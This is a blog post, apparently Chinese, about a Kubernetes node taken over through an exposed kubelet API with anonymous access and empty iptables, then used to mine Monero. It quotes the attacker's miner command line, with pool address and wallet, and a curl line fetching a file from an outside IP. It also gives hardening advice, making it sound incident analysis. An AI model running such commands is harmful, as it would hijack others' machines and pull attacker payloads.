天天看點

叢集被入侵,伺服器變礦機了

作者:郭主任

網絡安全是個嚴肅的問題,它總是在不經意間出現,等你反應過來卻已經遲了。希望各位讀者看完後也有所啟發,去檢查及加強自己的叢集。

入侵現象

檢查到某台機器中出現了異常程序

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm

curl -s http://45.9.148.35/scan_threads.dat           
叢集被入侵,伺服器變礦機了

簡單來講,就是我們的機器被用來挖礦了…

問題出現後,我們第一時間關閉了docker,其實應該隔離下環境, 把挖礦程式dump下來,以便後續分析。

具體原因排查

iptables為空

出現了異常程序,肯定是被入侵了,我首先看的是 iptables 。果不其然,機器上的 iptables 規則是空的,意味着這台機器在裸奔。

kubelet裸奔

内部同僚提出了有可能是 kubelet 被入侵的問題,檢查過其他元件後,開始檢查 kubelet 元件

最後檢查到 kubelet 日志中有異常:

叢集被入侵,伺服器變礦機了

kubelet設定不當

确認入侵問題,kubelet 參數設定錯誤,允許直接通路 kubelet 的 api

叢集被入侵,伺服器變礦機了

發現是 kubelet 的啟動項中,該位置被注釋掉:

叢集被入侵,伺服器變礦機了

然後檔案中禁止匿名通路的配置沒有讀取

叢集被入侵,伺服器變礦機了

該項配置是由于我操作不當注釋掉的

由于是新增加的機器,當晚就發現了問題,整個叢集是我在管理的,我跟随着一起排查,是以很快就找到了原因,當晚我就把其他機器中的配置項重新掃了一遍,假如它們的防火牆失效了,也會有類似的入侵情況發生,還好此次事件控制在1台機器中。

改進方案

其實該問題理論上講是可以避免的,是因為出現了多層漏洞才會被有心人掃到,我從外到内整理了一下可能改進的政策。

  1. 機器防火牆設定,機器防火牆是整個系統最外層,即使機器的防火牆同步失敗,也不能預設開放所有端口,而是應該全部關閉,等待管理者連接配接到tty終端上檢查。
  2. 使用機器時,假如機器不是暴露給外部使用的,公網IP可有可無的時候,盡量不要有公網IP,我們的機器才上線1天就被掃描到了漏洞,可想而知,公網上是多麼的危險
  3. 使用kubelet以及其他系統服務時,端口監聽方面是不是該有所考量?能不能不監聽 0.0.0.0,而是隻監聽本機的内網IP。
  4. 使用kubelet以及其他程式,設計或是搭建系統時, 對于匿名通路時的權限控制, 我們需要考慮到假如端口匿名會出現什麼問題,是否應該允許匿名通路,如果不允許匿名通路,那麼怎麼做一套鑒權系統?
  5. 系統管理者操作時,是否有一個比較規範化的流程,是不是該隻使用腳本操作線上環境? 手動操作線上環境帶來的問題并不好排查和定位。

    我這裡不是抛出疑問,隻是想告訴大家,考慮系統設計時,有必要考慮下安全性。

總結

發生了入侵事件後,同僚開玩笑說,還好沒其他經濟損失,要不我可能要回家了。作為叢集的管理者,隻有自己最清楚問題的嚴重程度。從本質上來講,問題已經相當嚴重了。入侵者相當于擁有了機器上docker的完整控制權限。如果讀者有讀過我關于docker系列的内容,就對權限上了解清楚了。

因為此次事件的發生,不隻是我,還有SA的同學基本都被diao了一遍,心裡還是有點難受的,希望大家能對網絡安全問題有所重視,從加強防火牆開始,避免監聽不必要的端口,這兩項至少是最容易實作的。

——END ——

資源領取 | 學習教育訓練 | 網工提升

請+V 咨詢

↓↓↓↓

微信号:glab-mary

文章來源:部分内容綜合自網絡,因覺優質,特此分享,侵删。